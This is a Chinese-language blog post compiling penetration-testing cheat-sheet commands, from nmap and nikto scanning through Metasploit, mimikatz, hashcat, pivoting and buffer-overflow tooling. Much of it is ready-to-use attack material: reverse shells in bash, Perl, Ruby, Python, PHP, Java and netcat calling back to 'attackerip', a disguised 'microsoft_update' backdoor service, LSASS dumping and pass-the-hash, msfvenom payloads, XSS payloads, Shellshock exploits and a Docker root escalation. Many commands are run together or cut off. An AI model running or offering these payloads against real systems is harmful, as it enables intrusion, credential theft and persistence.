渗透测试工具实战使用技巧合集
2023-4-12 00:0:48 Author: LemonSec(查看原文) 阅读量:33 收藏

1.NMAP

Nmap是一款枚举和测试网络的强大工具,有主机探测、端口扫描、版本检测、系统检测以及支持探测脚本编写等功能。

Nmap下载安装地址:nmap.org/download.html#

①漏洞扫描

cd /usr/share/nmap/scripts/       //切换到指定目录
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz //下载并解压

nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

②Nmap端口扫描

1)生成随机数量的欺骗
2)爆破
3)打包数据 – 就像原始的一个不扫描数据包
4)nmap -sI [Zombie IP] [Target IP]僵尸网络扫描, 首先需要找到僵尸网络的IP
5)nmap –source-port 53 target 指定源端口号

nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

2.Dirb 目录扫描

DIRB是一款目录扫描工具,内置于Kali,可发现潜在的渗透目标。基本上,它是通过对Web服务器发起基于字典的攻击并分析响应来工作的。

DIRB下载地址:sourceforge.net/project

拓展学习:cnblogs.com/yyxianren/p

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

注:正常扫描格式为:dirb 目标 字典路径

3.Nikto 网页服务器扫描

Nikto是一款开源的网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。

源码下载:github.com/sullo/nikto

安装及简单使用教程:cnblogs.com/opama/p/492

nikto -C all -h http://IP

注:-C 指定CGI目录 –all表示猜解CGI目录 -h 指定目标

4.WordPress扫描

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。

源码下载:github.com/wpscanteam/w

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

注:wpscan –url #扫描基本信息

5.HTTP指纹识别

Net-Square 的Httprint工具,是一个自动化的http指纹分析工具,带有可定制web服务器指纹数据库,运用统计学原理,组合逻辑学技术,可有效识别Http服务器的类型。

下载地址:net-square.com/_assets/

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip    //下载并解压压缩文件包
cd httprint_301/linux/ //切换到指定目录
./httprint -h http://IP -s signatures.txt // -h指定网站链接 -s 指定一个包含http签名的文件,默认就是signatures.txt

6.Skipfish扫描器

Skipfish是一款主动的Web应用程序安全侦察工具。它通过执行递归爬取和基于字典的探测来为目标站点准备交互式站点地图。最终的地图然后用来自许多活动(但希望是不中断的)安全检查的输出来注释。该工具生成的最终报告旨在作为专业Web应用程序安全评估的基础。

下载地址:code.google.com/p/skipf

拓展学习资料:my.oschina.net/u/995648

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

注:参数 -m:表示每个ip最大并发连接数。参数-L:不自动学习网站的新关键字。参数-Y:不要模糊目录brute forc中的扩展。参数 -s:加载附加只读字典。参数 -o:将输出写入指定目录(必需)。

7.NC扫描

NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,应该早很就被提供,就象另一个没有公开但是标准的Unix工具。

下载网址:atstake.com/research/to

拓展学习:blog.csdn.net/xysoul/ar

nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

注:参数-v:显示详细的输出内容。

①Netcat的一些用法

c:> nc -l -p 31337     
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt

②用NC抓banner

nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

③使用 NC 在 Windows 上反弹 shell

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

8.Unicornscan收集网络信息

Unicornscan是一款通过尝试连接用户系统(User-land)分布式TCP/IP堆栈获得信息和关联关系的端口扫描器。它主要功能包括带有所有TCP变种标记的异步无状态TCP扫描、异步无状态TCP标志捕获、通过分析反馈信息获取主动/被动远程操作系统、应用程序、组件信息。

网站主页:unicornscan.org/

拓展学习:sanppz.com/2019/11/30/U

us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H 在生成报告阶段解析主机名
-m 扫描类型 (sf - tcp, U - udp)
-Iv - 详细

9.Xprobe2识别操作系统指纹

xprobe2是一款远程主机操作系统探测工具。

网站主页:xprobe.sourceforge.net/

下载地址:sourceforge.net/project

拓展学习:blog.csdn.net/qq_406336

xprobe2 -v -p tcp:80:open IP

注:参数-v:详细输出。参数-p:对指定端口/组端口进行扫描。

10.枚举Samba

拓展学习资料:blog.csdn.net/yexiangcs

nmblookup -A target     
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

注:smbclient命令属于samba套件。参数-I:指定服务器的IP地址。-N:不用询问密码。参数-u:指定用户名称。

11.枚举SNMP

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

12.一些实用的CMD命令

net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32位系统
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64位系统

13.PuTTY 连接隧道

下载地址:chiark.greenend.org.uk/

使用手册:the.earth.li/~sgtatham/

// 转发远程端口到目标地址plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

14.Meterpreter 端口转发

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

拓展学习《Meterpreter命令详解》:cnblogs.com/backlion/p/

拓展学习《后渗透之meterpreter使用攻略》:xz.aliyun.com/t/2536

// https://www.offensive-security.com/metasploit-unleashed/portfwd/// 转发远程端口到目标地址meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141kali > rdesktop 127.0.0.1:3389

15.开启 RDP 服务

远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。位于TCP/IP协议族的应用层。在使用RDP协议的会话中,客户端的鼠标或者键盘等消息经过加密后传输到远端服务器并予以重放执行,而远端服务器所进行的一系列响应也以加密消息的形式通过网络回传给客户端,并借助客户端的图形引擎表示出来。

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0netsh firewall set service remoteadmin enablenetsh firewall set service remotedesktop enable

17.Meterpreter VNC\RDP

// 参考文章:https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/run getgui -u admin -p 1234run vnc -p 5043

18.Mimikatz使用

mimikatz 在内网渗透中是个很有用的工具。它可能让攻击者从内存中抓到明文密码。不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz包含了很多本地模块,更像是一个轻量级的调试器。

下载地址:github.com/gentilkiwi/m

拓展学习:blog.csdn.net/kevinstoi

git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full

19.获取哈希值

//访问git项目git clone https://github.com/byt3bl33d3r/pth-toolkit         pth-winexe -U hash //IP cmd或者apt-get install freerdp-x11xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP或者meterpreter > run post/windows/gather/hashdumpAdministrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::msf > use exploit/windows/smb/psexecmsf exploit(psexec) > set payload windows/meterpreter/reverse_tcpmsf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586cmsf exploit(psexec) > exploitmeterpreter > s

20.Hashcat 密码破解

hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等。

下载地址hashcat.net/files/hashc

拓展学习:freebuf.com/sectool/164

hashcat -m 400 -a 0 hash /root/rockyou.txt

注:-m, —hash-type=NUM :哈希类别,其NUM值参考其帮助信息下面的哈希类别值,其值为数字。如果不指定m值则默认指md5,例如-m 1800是sha512 Linux加密。

-a, –attack-mode=NUM:攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。

21.查找SUID \ SGID root文件

// 查找SUID root 文件find / -user root -perm -4000 -print// 查找SGID root 文件:find / -group root -perm -2000 -print// 查找任何人拥有的 SUID 和 SGID 文件:find / -perm -4000 -o -perm -2000 -print// 查找不属于任何用户的文件:find / -nouser -print// 查找不属于任何组的文件:find / -nogroup -print// 查找符号链接及其指向的内容:find / -type l

22.Python Shell

python -c 'import pty;pty.spawn("/bin/bash")'

23.Python\Ruby\PHP HTTP 服务器

python2 -m SimpleHTTPServerpython3 -m http.serverruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"php -S 0.0.0.0:8888

24.获取进程的PID

fuser -nv tcp 80fuser -k -n tcp 80

25.使用Hydra暴力破解

Hydra是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。

拓展学习:blog.csdn.net/qq_406575

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

注:L后面是账号集,P后面是密码集。

26.挂载远程 Windows 共享文件夹

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

27.Kali 下编译 Exploit

gcc -m32 -o output32 hello.c (32 位)
gcc -m64 -o output hello.c (64 位)

28.Kali 下编译 Windows Exploit

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/downloadwine mingw-get-setup.exeselect mingw32-basecd /root/.wine/drive_c/windowswget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zipcd /root/.wine/drive_c/MinGW/binwine gcc -o ability.exe /tmp/exploit.c -lwsock32wine ability.exe

29.NASM 命令

NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。

主页地址:nasm.us/index.php

拓展学习:blog.csdn.net/patronwa/

nasm -f bin -o payload.bin payload.asmnasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

30.SSH 穿透

拓展学习《SSH内网穿透的N种姿势》:blog.csdn.net/MasonQAQ/

ssh -D 127.0.0.1:1080 -p 22 user@IPAdd socks4 127.0.0.1 1080 in /etc/proxychains.confproxychains commands target

31.SSH 穿透从一个网络到另一个网络

ssh -D 127.0.0.1:1080 -p 22 user1@IP1Add socks4 127.0.0.1 1080 in /etc/proxychains.confproxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2Add socks4 127.0.0.1 1081 in /etc/proxychains.confproxychains commands target

32.使用 metasploit 进行穿透

拓展学习《Meterpreter命令详解》:cnblogs.com/backlion/p/

route add X.X.X.X 255.255.255.0 1use auxiliary/server/socks4arunproxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E或者https://www.offensive-security.com/metasploit-unleashed/pivoting/meterpreter > ipconfigIP Address  : 10.1.13.3meterpreter > run autoroute -s 10.1.13.0/24meterpreter > run autoroute -p10.1.13.0          255.255.255.0      Session 1meterpreter > Ctrl+Zmsf auxiliary(tcp) > use exploit/windows/smb/psexecmsf exploit(psexec) > set RHOST 10.1.13.2msf exploit(psexec) > exploitmeterpreter > ipconfigIP Address  : 10.1.13.

33.基于 CSV 文件查询 Exploit-DB

ExploitDB 是一个面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况,这些可以帮助企业改善公司的安全状况,同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。Exploit-DB提供一整套庞大的归档体系,其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。

git clone https://github.com/offensive-security/exploit-database.gitcd exploit-database./searchsploit –u./searchsploit apache 2.2./searchsploit "Linux Kernel"cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

34.MSF Payloads

MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

windows下安装MSF:cnblogs.com/M0rta1s/p/1

KALI自带

拓展学习:blog.csdn.net/rentian1/

拓展学习:freebuf.com/sectool/210

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exemsfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.phpmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.aspmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

35.MSF 生成在 Linux 下反弹的 Meterpreter Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

36.MSF 生成反弹 Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

37.MSF 生成反弹 Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

38.MSF 生成反弹 ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

39.MSF 生成反弹 Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

40.MSF 生成反弹 PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.phpadd <?php at the beginningperl -i~ -0777pe's/^/<?php \n/' shell.php

41.MSF 生成反弹 Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

42.Linux 常用安全命令

// 使用 uid 查找对应的程序find / -uid 0 -perm -4000// 查找哪里拥有写权限find / -perm -o=w// 查找名称中包含点和空格的文件find / -name " " -printfind / -name ".." -printfind / -name ". " -printfind / -name " " -print// 查找不属于任何人的文件find / -nouser// 查找未链接的文件lsof +L1// 获取进程打开端口的信息lsof -i// 看看 ARP 表中是否有奇怪的东西arp -a// 查看所有账户getent passwd// 查看所有用户组getent group// 列举所有用户的 crontabsfor user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done// 生成随机密码cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_[email protected]#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4// 查找所有不可修改的文件find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^.i’// 使文件不可修改chattr -i file

43.Windows 缓冲区溢出利用命令

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f cCOMMONLY USED BAD CHARACTERS:\x00\x0a\x0d\x20                              For http request\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)// 常用命令:pattern createpattern offset (EIP Address)pattern offset (ESP Address)add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )!pvefindaddr pattern_create 5000!pvefindaddr suggest!pvefindaddr modules!pvefindaddr nosafeseh!mona config -set workingfolder C:\Mona\%p!mona config -get workingfolder!mona mod!mona bytearray -b "\x00\x0a"!mona pc 5000!mona po EIP!mona sugg

44.SEH – 结构化异常处理

SEH(“Structured Exception Handling”),即结构化异常处理,是 windows 操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。

拓展学习:blog.csdn.net/qq_408907

拓展学习:bbs.pediy.com/thread-24

//  参考文章:https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH!mona suggest!mona nosafesehnseh="\xeb\x06\x90\x90" (next seh chain)iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

45.ROP (DEP)

ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。

DEP(“Data Execution Prevention”)是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行。

// 参考文章:https://en.wikipedia.org/wiki/Return-oriented_programming// 参考文章:https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B// 参考文章:https://en.wikipedia.org/wiki/Data_Execution_Prevention!mona modules!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest

46.ASLR – 地址空间格局随机化

参考文章:baike.baidu.com/item/%E

// 参考文章:https://en.wikipedia.org/wiki/Address_space_layout_randomization!mona noasl

47.寻蛋(EGG Hunter)技术

Egg hunting这种技术可以被归为“分级shellcode”,它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。

拓展学习:fuzzysecurity.com/tutor

拓展学习:pediy.com/kssd/pediy12/ (看雪论坛)

// https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/!mona jmp -r esp!mona egg -t lxxl\xeb\xc4 (jump backward -60)buff=lxxllxxl+shell!mona egg -t 'w00t'

48.GDB Debugger 常用命令

// 设置断点break *_start// 执行下一个命令nextstepns// 继续执行continuec// 数据checking 'REGISTERS' and 'MEMORY'// 显示寄存器的值: (Decimal,Binary,Hex)print /d –> Decimalprint /t –> Binaryprint /x –> HexO/P :(gdb) print /d $eax$17 = 13(gdb) print /t $eax$18 = 1101(gdb) print /x $eax$19 = 0xd(gdb)// 显示特定内存地址的值command : x/nyz (Examine)n –> Number of fields to display ==>y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 

49.BASH 反弹 Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1exec /bin/bash 0&0 2>&0exec /bin/bash 0&0 2>&00<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&1960<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; doneexec 5<>/dev/tcp/attackerip/4444cat <&5 | while read line; do $line 2>&5 >&5; done # or:while read line 0<&5; do $line 2>&5 >&5; done/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1

50.PERL 反弹 Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'// Win 平台perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

51.RUBY 反弹 Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'// Win 平台ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

52.PYTHON 反弹 Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

53.PHP 反弹 Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

54.JAVA 反弹 Shell

r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

55.NETCAT 反弹 Shell

nc -e /bin/sh attackerip 4444nc -e /bin/sh 192.168.37.10 443// 如果 -e 参数被禁用,可以尝试以下命令// mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe/bin/sh | nc attackerip 443rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/// 如果你安装错了 netcat 的版本,请尝试以下命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/

56.TELNET 反弹 Shell

// 如果 netcat 不可用或者 /dev/tcpmknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

57.XTERM 反弹 Shell

// http://baike.baidu.com/view/418628.htm// 开启 X 服务器 (:1 – 监听 TCP 端口 6001)apt-get install xnestXnest :1// 记得授权来自目标 IP 的连接xterm -display 127.0.0.1:1// 授权访问xhost +targetip// 在目标机器上连接回我们的 X 服务器xterm -display attackerip:1/usr/openwin/bin/xterm -display attackerip:1or$ DISPLAY=attackerip:0 xte

58.XSS 备忘录

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet("< iframes > src=http://IP:PORT </ iframes >")<script>document.location=http://IP:PORT</script>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>";!–"<XSS>=&amp;amp;{()}<IMG SRC="javascript:alert('XSS');"><IMG SRC=javascript:alert('XSS')><IMG """><SCRIPT>alert("XSS")</SCRIPT>""><IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;><IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041><IMG SRC="jav ascript:alert('XSS');">perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out<BODY onload!#$%&amp;()*~+-_.,:;[email protected][/|\]^`=alert("XSS")>(">< iframes http://google.com < iframes >)<BODY BACKGROUND="javascript:alert('XSS')"><FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>"><script >alert(document.cookie)</script>%253cscript%253ealert(document.cookie)%253c/script%253e"><s"%2b"cript>alert(document.cookie)</script>%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E<img src=asdf onerror=alert(document.

59.SSH Over SCTP (使用 Socat)

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N

倍加强版。

官方网站:dest-unreach.org/socat/

安装及使用教程:blog.csdn.net/u01028597

命令学习:jianshu.com/p/54005e309

// 远端服务器// 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP$ socat SCTP-LISTEN:80,fork TCP:localhost:22// 本地端// 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80// 创建 socks 代理// 替换 username 和 -p 的端口号$ ssh -lusername localhost -D 8080 -p 1337使用洋葱网络// 安装服务$ apt-get install tor torsocks// 绑定 ssh 到 tor 服务端口 80//  /etc/tor/torrcSocksPolicy accept 127.0.0.1SocksPolicy accept 192.168.0.0/16Log notice file /var/log/tor/notices.logRunAsDaemon 1HiddenServiceDir /var/lib/tor/ssh_hidden_service/HiddenServicePort 80 127.0.0.1:22PublishServerDescriptor 0$ /etc/init.d/tor start$ cat /var/lib/tor/ssh_hidden_service/hostname3l5zstvt1zk5jhl662.onion// ssh 客户端连接$ apt-get install torsocks$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p

60.Metagoofil – 元数据收集工具

Metagoofil 是一款利用Google收集信息的工具。它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能

官网地址edge-security.com/metag

拓展学习《metagoofil用法》:blog.csdn.net/feier7501

$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

61.利用 Shellshock

一个发现并利用服务器 Shellshock 的工具

安装及使用: github.com/nccgroup/sho

$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose// 查看文件$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80// 绑定 shell$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80// 反弹 Shell$ nc -l -p 443$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 

62.获取 Docker 的 Root

// 获取  Docker 的 Root// user 必须在 docker 用户组中ek@victum:~/docker-test$ iduid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)ek@victum:~$ mkdir docker-testek@victum:~$ cd docker-testek@victum:~$ cat > DockerfileFROM debian:wheezyENV WORKDIR /stuffRUN mkdir -p $WORKDIRVOLUME [ $WORKDIR ]WORKDIR $WORKDIR<< EOFek@victum:~$ docker build -t my-docker-image .ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'./shwhoami# rootek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/

63.使用 DNS 隧道绕过防火墙

